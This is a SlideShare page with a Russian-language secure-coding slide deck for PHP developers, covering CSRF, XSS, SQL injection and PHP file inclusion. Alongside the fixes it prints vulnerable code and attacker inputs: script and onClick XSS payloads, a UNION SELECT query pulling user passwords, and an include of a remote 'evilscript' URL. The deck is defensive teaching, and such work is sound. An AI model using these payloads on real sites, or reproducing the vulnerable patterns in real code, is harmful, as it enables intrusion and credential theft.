Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Максим “Arrim” Попов
Максим “Arrim” Попов
Безопасный кодинг
хакеры нас не достанут
Максим “Arrim” Попов
WHOAMI
Maxim “Arrim” Popov
Backend разработчик
@Arrim_kz
Максим “Arrim” Попов
Fingerprint
Позволяет узнать какой движок или framework вы используете.
Тем самым хакер может воспользоваться уже известной
уязвимостью, которую вы не успели закрыть.
Так же боты используют Fingerprint для поиска уязвимых
сайтов.
Максим “Arrim” Попов
Fingerprint в wordpress
В header страницы:
<meta name="generator"
content="WordPress 4.3.1">
В RSS:
<generator>http://wordpress.org/?v=
4.3.1</generator>
При подключении стилей и скриптов:
<link rel='stylesheet'
id='dashicons-css'
href='http://your_site/core/wp-incl
udes/css/dashicons.min.css?ver=4.3.
1' type='text/css' media='all' />
Максим “Arrim” Попов
Fingerprint в wordpress
В header страницы:
<meta name="generator"
content="WordPress 4.3.1">
В RSS:
<generator>http://wordpress.org/?v=
4.3.1</generator>
При подключении стилей и скриптов:
<link rel='stylesheet'
id='dashicons-css'
href='http://your_site/core/wp-incl
udes/css/dashicons.min.css?ver=4.3.
1' type='text/css' media='all' />
В functions.php:
add_filter('the_generator',
'__return_empty_string');
function rem_wp_ver_css_js ($src) {
if (strpos($src, 'ver='))
$src =
remove_query_arg('ver', $src);
return $src;
}
add_filter ('style_loader_src',
'rem_wp_ver_css_js', 9999);
add_filter ('script_loader_src',
'rem_wp_ver_css_js', 9999);
Максим “Arrim” Попов
[название движка] скрыть версию
Максим “Arrim” Попов
Вывод ошибок
Максим “Arrim” Попов
ini_set('display_errors','Off');
Максим “Arrim” Попов
Извините, у нас обед ошибка
Максим “Arrim” Попов
CSRF
CSRF (англ. Сross Site Request Forgery — «Подделка
межсайтовых запросов», также известен как XSRF) — вид атак
на посетителей веб-сайтов. Если жертва заходит на сайт,
созданный злоумышленником, от её лица тайно отправляется
запрос на другой сервер (например, на сервер платёжной
системы), осуществляющий некую вредоносную операцию
(например, перевод денег на счёт злоумышленника).
Максим “Arrim” Попов
CSRF
Метод: logOutAction()
[/logout]
...
$this->auth->remove();
...
<a href="/logout">Выйти</a>
Опасная картинка:
<img src="/logout">
Максим “Arrim” Попов
CSRF
if($this->security->checkToken())
{
$this->auth->remove();
}
…
<a href="/logout?<?= $this->security->getTokenKey(); ?>=<?=
$this->security->getToken(); ?>">Выйти</a>
Максим “Arrim” Попов
XSS
XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») —
тип атаки на веб-системы, заключающийся во внедрении в
выдаваемую веб-системой страницу вредоносного кода (который
будет выполнен на компьютере пользователя при открытии им
этой страницы) и взаимодействии этого кода с веб-сервером
злоумышленника.
Максим “Arrim” Попов
XSS
Уязвимый код:
<title>
<?php echo $_GET['query'] ?>
</title>
Запрос хакера:
<script>
alert("HACK!")
</script>
Максим “Arrim” Попов
XSS
Уязвимый код:
<title>
<?php echo $_GET['query'] ?>
</title>
Запрос хакера:
<script>
alert("HACK!")
</script>
Максим “Arrim” Попов
Защита от XSS: strip_tags
<title>
<?php echo
strip_tags($_GET['query']) ?>
</title>
Результат:
<title>
alert("HACK!")
</title>
<input value="<?php
strip_tags($_GET['query']); ?>">
Запрос хакера:
" onClick="alert(‘HACK!’);
Результат:
<input value=""
onClick="alert('HACK!');">
Максим “Arrim” Попов
Защита от XSS: strip_tags
<title>
<?php echo
strip_tags($_GET['query']) ?>
</title>
Результат:
<title>
alert("HACK!")
</title>
Максим “Arrim” Попов
htmlentities() и htmlspecialchars()
<input value="<?php
htmlentities($_GET['query']); ?>">
Результат:
<input value="&quot;
onClick=&quot;alert('HACK!')&quot;">
<input value="<?php
htmlspecialchars($_GET['query']); ?>">
Результат:
<input value="&quot;
onClick=&quot;alert('HACK!')&quot;">
Максим “Arrim” Попов
SQL injection
Внедрение SQL-кода (англ. SQL injection) — один из
распространённых способов взлома сайтов и программ,
работающих с базами данных, основанный на внедрении в запрос
произвольного SQL-кода.
Максим “Arrim” Попов
SQL injection
$news_id = $_GET['id'];
mysqli_query($link,
"SELECT * FROM news WHERE id =
$news_id");
Запрос хакера:
news.php?news_id=-1 UNION SELECT
name,2,pass,4,5 FROM users WHERE
id=1
Результат:
SELECT * FROM news
WHERE id = -1
UNION SELECT name,2,pass,4,5 FROM
users WHERE id=1
Максим “Arrim” Попов
SQL injection
$news_id = (int) $_GET['id'];
mysqli_query($link,
"SELECT * FROM news WHERE id =
$news_id");
Запрос хакера:
news.php?news_id=-1 UNION SELECT
name,2,pass,4,5 FROM users WHERE
id=1
Результат:
SELECT * FROM news
WHERE id = -1
Максим “Arrim” Попов
mysqli_real_escape_string()
Максим “Arrim” Попов
SQL injection
Articles::find(array(
"title LIKE :search:",
"bind" => array(
"search" => "%".$this->request->getQuery("s")."%",
),
));
Максим “Arrim” Попов
PHP injection
PHP-инъекция (англ. PHP injection) — один из способов взлома
веб-сайтов, работающих на PHP, заключающийся в выполнении
постороннего кода на серверной стороне.
Максим “Arrim” Попов
PHP injection
eval()
preg_replace() (с модификатором «e»)
require_once()
include_once()
include()
require()
create_function()
$module = $_GET['module'];
include $module . '.php';
Запрос хакера:
?module=http://slider.kz/evilscript
Максим “Arrim” Попов

More Related Content

Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

  • 2. Максим “Arrim” Попов Безопасный кодинг хакеры нас не достанут
  • 3. Максим “Arrim” Попов WHOAMI Maxim “Arrim” Popov Backend разработчик @Arrim_kz
  • 4. Максим “Arrim” Попов Fingerprint Позволяет узнать какой движок или framework вы используете. Тем самым хакер может воспользоваться уже известной уязвимостью, которую вы не успели закрыть. Так же боты используют Fingerprint для поиска уязвимых сайтов.
  • 5. Максим “Arrim” Попов Fingerprint в wordpress В header страницы: <meta name="generator" content="WordPress 4.3.1"> В RSS: <generator>http://wordpress.org/?v= 4.3.1</generator> При подключении стилей и скриптов: <link rel='stylesheet' id='dashicons-css' href='http://your_site/core/wp-incl udes/css/dashicons.min.css?ver=4.3. 1' type='text/css' media='all' />
  • 6. Максим “Arrim” Попов Fingerprint в wordpress В header страницы: <meta name="generator" content="WordPress 4.3.1"> В RSS: <generator>http://wordpress.org/?v= 4.3.1</generator> При подключении стилей и скриптов: <link rel='stylesheet' id='dashicons-css' href='http://your_site/core/wp-incl udes/css/dashicons.min.css?ver=4.3. 1' type='text/css' media='all' /> В functions.php: add_filter('the_generator', '__return_empty_string'); function rem_wp_ver_css_js ($src) { if (strpos($src, 'ver=')) $src = remove_query_arg('ver', $src); return $src; } add_filter ('style_loader_src', 'rem_wp_ver_css_js', 9999); add_filter ('script_loader_src', 'rem_wp_ver_css_js', 9999);
  • 7. Максим “Arrim” Попов [название движка] скрыть версию
  • 10. Максим “Arrim” Попов Извините, у нас обед ошибка
  • 11. Максим “Arrim” Попов CSRF CSRF (англ. Сross Site Request Forgery — «Подделка межсайтовых запросов», также известен как XSRF) — вид атак на посетителей веб-сайтов. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника).
  • 12. Максим “Arrim” Попов CSRF Метод: logOutAction() [/logout] ... $this->auth->remove(); ... <a href="/logout">Выйти</a> Опасная картинка: <img src="/logout">
  • 13. Максим “Arrim” Попов CSRF if($this->security->checkToken()) { $this->auth->remove(); } … <a href="/logout?<?= $this->security->getTokenKey(); ?>=<?= $this->security->getToken(); ?>">Выйти</a>
  • 14. Максим “Arrim” Попов XSS XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.
  • 15. Максим “Arrim” Попов XSS Уязвимый код: <title> <?php echo $_GET['query'] ?> </title> Запрос хакера: <script> alert("HACK!") </script>
  • 16. Максим “Arrim” Попов XSS Уязвимый код: <title> <?php echo $_GET['query'] ?> </title> Запрос хакера: <script> alert("HACK!") </script>
  • 17. Максим “Arrim” Попов Защита от XSS: strip_tags <title> <?php echo strip_tags($_GET['query']) ?> </title> Результат: <title> alert("HACK!") </title> <input value="<?php strip_tags($_GET['query']); ?>"> Запрос хакера: " onClick="alert(‘HACK!’); Результат: <input value="" onClick="alert('HACK!');">
  • 18. Максим “Arrim” Попов Защита от XSS: strip_tags <title> <?php echo strip_tags($_GET['query']) ?> </title> Результат: <title> alert("HACK!") </title>
  • 19. Максим “Arrim” Попов htmlentities() и htmlspecialchars() <input value="<?php htmlentities($_GET['query']); ?>"> Результат: <input value="&quot; onClick=&quot;alert('HACK!')&quot;"> <input value="<?php htmlspecialchars($_GET['query']); ?>"> Результат: <input value="&quot; onClick=&quot;alert('HACK!')&quot;">
  • 20. Максим “Arrim” Попов SQL injection Внедрение SQL-кода (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
  • 21. Максим “Arrim” Попов SQL injection $news_id = $_GET['id']; mysqli_query($link, "SELECT * FROM news WHERE id = $news_id"); Запрос хакера: news.php?news_id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 Результат: SELECT * FROM news WHERE id = -1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
  • 22. Максим “Arrim” Попов SQL injection $news_id = (int) $_GET['id']; mysqli_query($link, "SELECT * FROM news WHERE id = $news_id"); Запрос хакера: news.php?news_id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 Результат: SELECT * FROM news WHERE id = -1
  • 24. Максим “Arrim” Попов SQL injection Articles::find(array( "title LIKE :search:", "bind" => array( "search" => "%".$this->request->getQuery("s")."%", ), ));
  • 25. Максим “Arrim” Попов PHP injection PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне.
  • 26. Максим “Arrim” Попов PHP injection eval() preg_replace() (с модификатором «e») require_once() include_once() include() require() create_function() $module = $_GET['module']; include $module . '.php'; Запрос хакера: ?module=http://slider.kz/evilscript